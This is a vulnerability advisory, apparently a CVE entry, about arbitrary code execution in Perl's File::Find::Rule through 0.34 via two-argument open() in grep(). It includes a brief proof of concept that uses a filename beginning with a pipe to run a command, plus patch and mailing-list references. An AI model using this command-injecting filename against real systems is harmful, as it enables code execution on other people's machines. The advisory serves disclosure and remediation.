Description

File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename. A file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed. Example: $ mkdir /tmp/poc; echo > "/tmp/poc/|id" $ perl -MFile::Find::Rule \     -E 'File::Find::Rule->grep("foo")->in("/tmp/poc")' uid=1000(user) gid=1000(user) groups=1000(user),100(users)

Weaknesses 1

References 8

• openwall.com http://www.openwall.com/lists/oss-security/2025/06/05/4
• openwall.com http://www.openwall.com/lists/oss-security/2025/06/06/1
• openwall.com http://www.openwall.com/lists/oss-security/2025/06/06/3
• github.com https://github.com/richardc/perl-file-find-rule/commit/df58128bcee4c1da78c34d7f3fe1357e575ad56f.patch
• github.com https://github.com/richardc/perl-file-find-rule/pull/4
• lists.debian.org https://lists.debian.org/debian-lts-announce/2025/06/msg00006.html
• metacpan.org https://metacpan.org/release/RCLAMP/File-Find-Rule-0.34/source/lib/File/Find/Rule.pm#L423
• rt.cpan.org https://rt.cpan.org/Public/Bug/Display.html?id=64504

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